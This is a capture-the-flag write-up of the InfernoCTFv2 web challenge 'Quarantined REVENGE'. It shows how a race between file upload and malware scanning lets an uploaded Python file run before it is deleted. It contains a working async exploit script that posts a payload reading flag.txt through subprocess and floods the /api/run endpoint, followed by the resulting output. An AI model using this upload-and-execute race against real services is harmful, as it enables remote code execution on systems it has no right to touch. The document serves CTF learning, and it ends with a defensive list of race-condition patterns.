Quarantined REVENGE web CTF challenge writeup
A writeup for the CTF web challenge titled Quarantined REVENGE from the InfernoCTFv2.
Introduction
This is a step-by-step writeup for the Quarantined REVENGE CTF challenge from InfernoCTFv2, established by Securinets ISTIC and authored by Rayene9052.
It is almost the same as the Quarantined challenge, with a slight “defense” technique: it does not provide the filename, only the file_id. And guess what? The filename is simply file_id + extension.
Recon
First, when we open the challenge, it is a website for file storage where you upload files with specific extensions, as shown in the following image.
So the allowed file extensions are: TXT MD CSV JSON LOG XML YAML INI CFG.
If we upload a file, we realize that there are two steps: uploading and then verification of the extension or file content.
So, a file is uploaded, and then the extension is verified. To confirm our doubts, we can use Burp Suite and intercept each request and investigate each response.
When a specific file is uploaded, it sends a POST request to the /upload endpoint, and then in response, the following JSON is sent.
NOTE: This time, a file name is not provided for us, but only the file_id. So what we would do is the same attack chain: extract the file_id instead of the filename and add .py to it.
1
2
3
4
5
6
{
"file_id":"f5df53d21b94492e",
"message":"File received. Security scan in progress.",
"status":"scanning",
"success":true
}
So that means my assumption was correct: the file is uploaded regardless of its extension, and then it is scanned to be deleted later. Using the endpoint /api/status/f56de5d587194907, we can see that the file is deleted after it was uploaded.
1
2
3
4
5
6
7
8
{
"file_id":"f56de5d587194907",
"original_name":"exploitRCE.py",
"reason":"Blocked extension: .py",
"size":770,
"status":"quarantined",
"uploaded_at":"2026-09-06T19:55:27.676417"
}
So what happens is: file uploaded -> name without extension gets hashed -> {hash}.ext is generated -> scanning -> file deleted if malicious.
So what we should try to do is run this file, but how can this file be executed?
Let’s also check robots.txt to see what it could possibly hide.
So there is an API endpoint to check or read uploaded files using /uploads/file_id.extension, and there is another endpoint to actually run the file. So let’s try to upload a .txt file and run it.
1
2
3
4
5
User-agent: *
Allow: /
Disallow: /api/
Disallow: /api/run/
Disallow: /uploads/
We can conclude that to execute a file, we use /api/run/file_id.extension, and we know the file_id because it is leaked within the JSON.
Vuln Detection and Analysis
The potential vulnerability is a race condition where we try to run the file while the other service is still scanning, quarantining, or deleting it. That is the potential vulnerability. We can say that this is the one from the structure of the project, which has two steps: uploading and then scanning. We exploit the time window between these two operations and run the uploaded Python file.
Why a Python file and not a PHP one? Doing reconnaissance using Wappalyzer or WhatWeb, we can see that the web app is built using Python, so there is a high chance that a Python script should be uploaded. If it fails, we are going to do some fuzzing to know which script file is supported, since the /api/run/f8129b6dfe0a4bf1.txt endpoint returns the following JSON.
{"error":"Unsupported script type"}
Exploitation and Payload
To do this, we need to write a Python exploit that does the following steps.
- Upload a malicious Python file that cats the flag using
cat flag.txt. - Get the file name.
- Use
asyncioto send multiple requests to the/api/run/file_id.pyendpoint to run the script and get the flag.
The script is as follows (don’t judge my exploit — I’m no AI, and I hate writing exploits with LLMs because it adds a lot of unnecessary things):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import httpx
import asyncio
URL = "http://68.210.184.173:4000"
# After testing and running the exploit, the flag is within that path
files = {
"file": (
"exploit.py",
b'''import subprocess
output = subprocess.check_output(["cat", "../../flag.txt"], text=True)
print(output)
''',
"text/x-python",
)
}
async def main():
async with httpx.AsyncClient() as client:
r = await client.post(URL+'/upload',files=files)
r = r.json()
filename = r['file_id']
tasks = [client.get(URL+f'/api/run/{filename}.py') for _ in range (100)]
results = await asyncio.gather(*tasks)
print(results)
for i in results:
if i.status_code < 299:
print(i.text)
if "INFERNO" in i.text:
print(i.text)
asyncio.run(main())
After running that exploit, we get the following results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{"exit_code":0,"stderr":"","stdout":"INFERNOCTF{N0w_u_d1d_c0rr3ct_3xpl01t!!_t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}\n\n"}
{"exit_code":0,"stderr":"","stdout":"INFERNOCTF{N0w_u_d1d_c0rr3ct_3xpl01t!!_t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}\n\n"}
{"exit_code":0,"stderr":"","stdout":"INFERNOCTF{N0w_u_d1d_c0rr3ct_3xpl01t!!_t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}\n\n"}
{"exit_code":0,"stderr":"","stdout":"INFERNOCTF{N0w_u_d1d_c0rr3ct_3xpl01t!!_t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}\n\n"}
{"exit_code":0,"stderr":"","stdout":"INFERNOCTF{N0w_u_d1d_c0rr3ct_3xpl01t!!_t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}\n\n"}
{"exit_code":0,"stderr":"","stdout":"INFERNOCTF{N0w_u_d1d_c0rr3ct_3xpl01t!!_t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}\n\n"}
.
.
.
We got the flag, and if we want to be nasty, we can delete it :D. Seriously, don’t do this; I tried it, and it gave me permission denied, so the author knows his stuff.
Conclusion
That was a great challenge for race conditions. No double extension is required, unlike what was mentioned in the original writeup by the author here.
So, to detect race condition challenges, there are usually multiple steps within an operation where you need to exploit the time window between them.
And the types of challenges that usually have these vulnerabilities are the following:
- File upload + AV/malware scan (your case) — classic, common.
- Coupon/promo code redemption — check-then-decrement balance race is nearly universal in poorly built e-commerce.
- Withdrawal/balance systems — “check balance → deduct” is the textbook double-spend race.
- Account verification / KYC gating — “pending” accounts sometimes retain elevated access briefly.
- Object storage pre-signed URLs / ACL propagation — S3-like systems where ACL changes are eventually consistent.
- Password reset / OTP validation — single-use token races (use twice before invalidation writes commit).
- Moderation/report systems — content visible until moderation queue catches up.
- Job queues with idempotency assumptions — double-processing of the same job ID.
